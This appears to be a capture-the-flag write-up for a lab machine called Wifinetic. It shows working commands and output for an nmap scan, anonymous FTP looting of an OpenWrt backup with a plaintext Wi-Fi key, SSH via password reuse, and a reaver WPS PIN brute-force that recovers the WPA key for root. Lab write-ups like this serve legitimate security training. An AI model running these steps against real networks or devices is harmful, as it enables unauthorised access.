Wifinetic

Wifi Box!

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 10.129.68.239 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-16 18:57 +08
Nmap scan report for 10.129.68.239
Host is up (0.020s latency).
Not shown: 52717 closed tcp ports (conn-refused), 12815 filtered tcp ports (no-response)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
53/tcp open  domain

FTP is open, so we should check for anonymous access.

Anonymous FTP -> Wifi Password -> SSH

There were quite a few files within this FTP server:

$ ftp 10.129.68.239                                               
Connected to 10.129.68.239.
220 (vsFTPd 3.0.3)
Name (10.129.68.239:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||44452|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          4434 Jul 31 11:03 MigrateOpenWrt.txt
-rw-r--r--    1 ftp      ftp       2501210 Jul 31 11:03 ProjectGreatMigration.pdf
-rw-r--r--    1 ftp      ftp         60857 Jul 31 11:03 ProjectOpenWRT.pdf
-rw-r--r--    1 ftp      ftp         40960 Sep 11 15:25 backup-OpenWrt-2023-07-26.tar
-rw-r--r--    1 ftp      ftp         52946 Jul 31 11:03 employees_wellness.pdf

The most interesting is the .tar file that contained a backup of some sorts. When we download this and extract the files, it shows that this is the /etc/ file:

$ tar -xf backup-OpenWrt-2023-07-26.tar
$ cd etc
$ ls
config    group  inittab       nftables.d  passwd   rc.local  shinit       uhttpd.crt
dropbear  hosts  luci-uploads  opkg        profile  shells    sysctl.conf  uhttpd.key

Within the /etc/config file, there was a wireless file. Since this was a Wifi themed box, I read the file and found a password:

$ cat wireless 

config wifi-device 'radio0'
        option type 'mac80211'
        option path 'virtual/mac80211_hwsim/hwsim0'
        option cell_density '0'
        option channel 'auto'
        option band '2g'
        option txpower '20'

config wifi-device 'radio1'
        option type 'mac80211'
        option path 'virtual/mac80211_hwsim/hwsim1'
        option channel '36'
        option band '5g'
        option htmode 'HE80'
        option cell_density '0'

config wifi-iface 'wifinet0'
        option device 'radio0'
        option mode 'ap'
        option ssid 'OpenWrt'
        option encryption 'psk'
        option key 'VeRyUniUqWiFIPasswrd1!'
        option wps_pushbutton '1'

config wifi-iface 'wifinet1'
        option device 'radio1'
        option mode 'sta'
        option network 'wwan'
        option ssid 'OpenWrt'
        option encryption 'psk'
        option key 'VeRyUniUqWiFIPasswrd1!'

The question now is whether the box is transmitting stuff over the air, or if there's a user that uses this password. Reading the passwd file shows us a few users:

root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
ntp:x:123:123:ntp:/var/run/ntp:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
logd:x:514:514:logd:/var/run/logd:/bin/false
ubus:x:81:81:ubus:/var/run/ubus:/bin/false
netadmin:x:999:999::/home/netadmin:/bin/false

The netadmin user reused it:

Privilege Escalation

Enumeration

Since this is a Wifi box, we can check ifconfig for the interfaces available:

netadmin@wifinetic:/opt/share$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.129.68.239  netmask 255.255.0.0  broadcast 10.129.255.255
        inet6 fe80::250:56ff:feb9:501e  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:501e  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:50:1e  txqueuelen 1000  (Ethernet)
        RX packets 199994  bytes 14812436 (14.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 199850  bytes 10858403 (10.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 862  bytes 53092 (53.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 862  bytes 53092 (53.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

mon0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        unspec 02-00-00-00-02-00-30-3A-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 6865  bytes 1209922 (1.2 MB)
        RX errors 0  dropped 6865  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.1  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::ff:fe00:0  prefixlen 64  scopeid 0x20<link>
        ether 02:00:00:00:00:00  txqueuelen 1000  (Ethernet)
        RX packets 229  bytes 21998 (21.9 KB)
        RX errors 0  dropped 31  overruns 0  frame 0
        TX packets 288  bytes 33715 (33.7 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.23  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::ff:fe00:100  prefixlen 64  scopeid 0x20<link>
        ether 02:00:00:00:01:00  txqueuelen 1000  (Ethernet)
        RX packets 82  bytes 10771 (10.7 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 229  bytes 26120 (26.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan2: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 02:00:00:00:02:00  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

There's a mon0 interface listening, and checking iwconfig shows that it is in Monitor mode:

netadmin@wifinetic:/opt/share$ iwconfig
wlan2     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          
eth0      no wireless extensions.

wlan1     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          
lo        no wireless extensions.

wlan0     IEEE 802.11  Mode:Master  Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          
hwsim0    no wireless extensions.

mon0      IEEE 802.11  Mode:Monitor  Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on

Interesting. There wasn't much else I could do, so I ran linpeas.sh to enumerate for me, and it found reaver, a program I wasn't familiar with:

Files with capabilities:
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/reaver = cap_net_raw+ep

This tool can be used to brute force Wifi passwords out. Using this tool, combined with our Monitor mode mon0 interface, we can start sniffing stuff from wlan0 and wlan1. We can grab the ether value and feed it into reaver:

netadmin@wifinetic:/tmp$ reaver -i mon0 -b 02:00:00:00:00:00 -v

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 02:00:00:00:00:00
[+] Received beacon from 02:00:00:00:00:00
[+] Trying pin "12345670"
[!] Found packet with bad FCS, skipping...
[+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt)
[+] WPS PIN: '12345670'
[+] WPA PSK: 'WhatIsRealAnDWhAtIsNot51121!'
[+] AP SSID: 'OpenWrt'

Afterwards, we can su to root:

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Last updated 9 months ago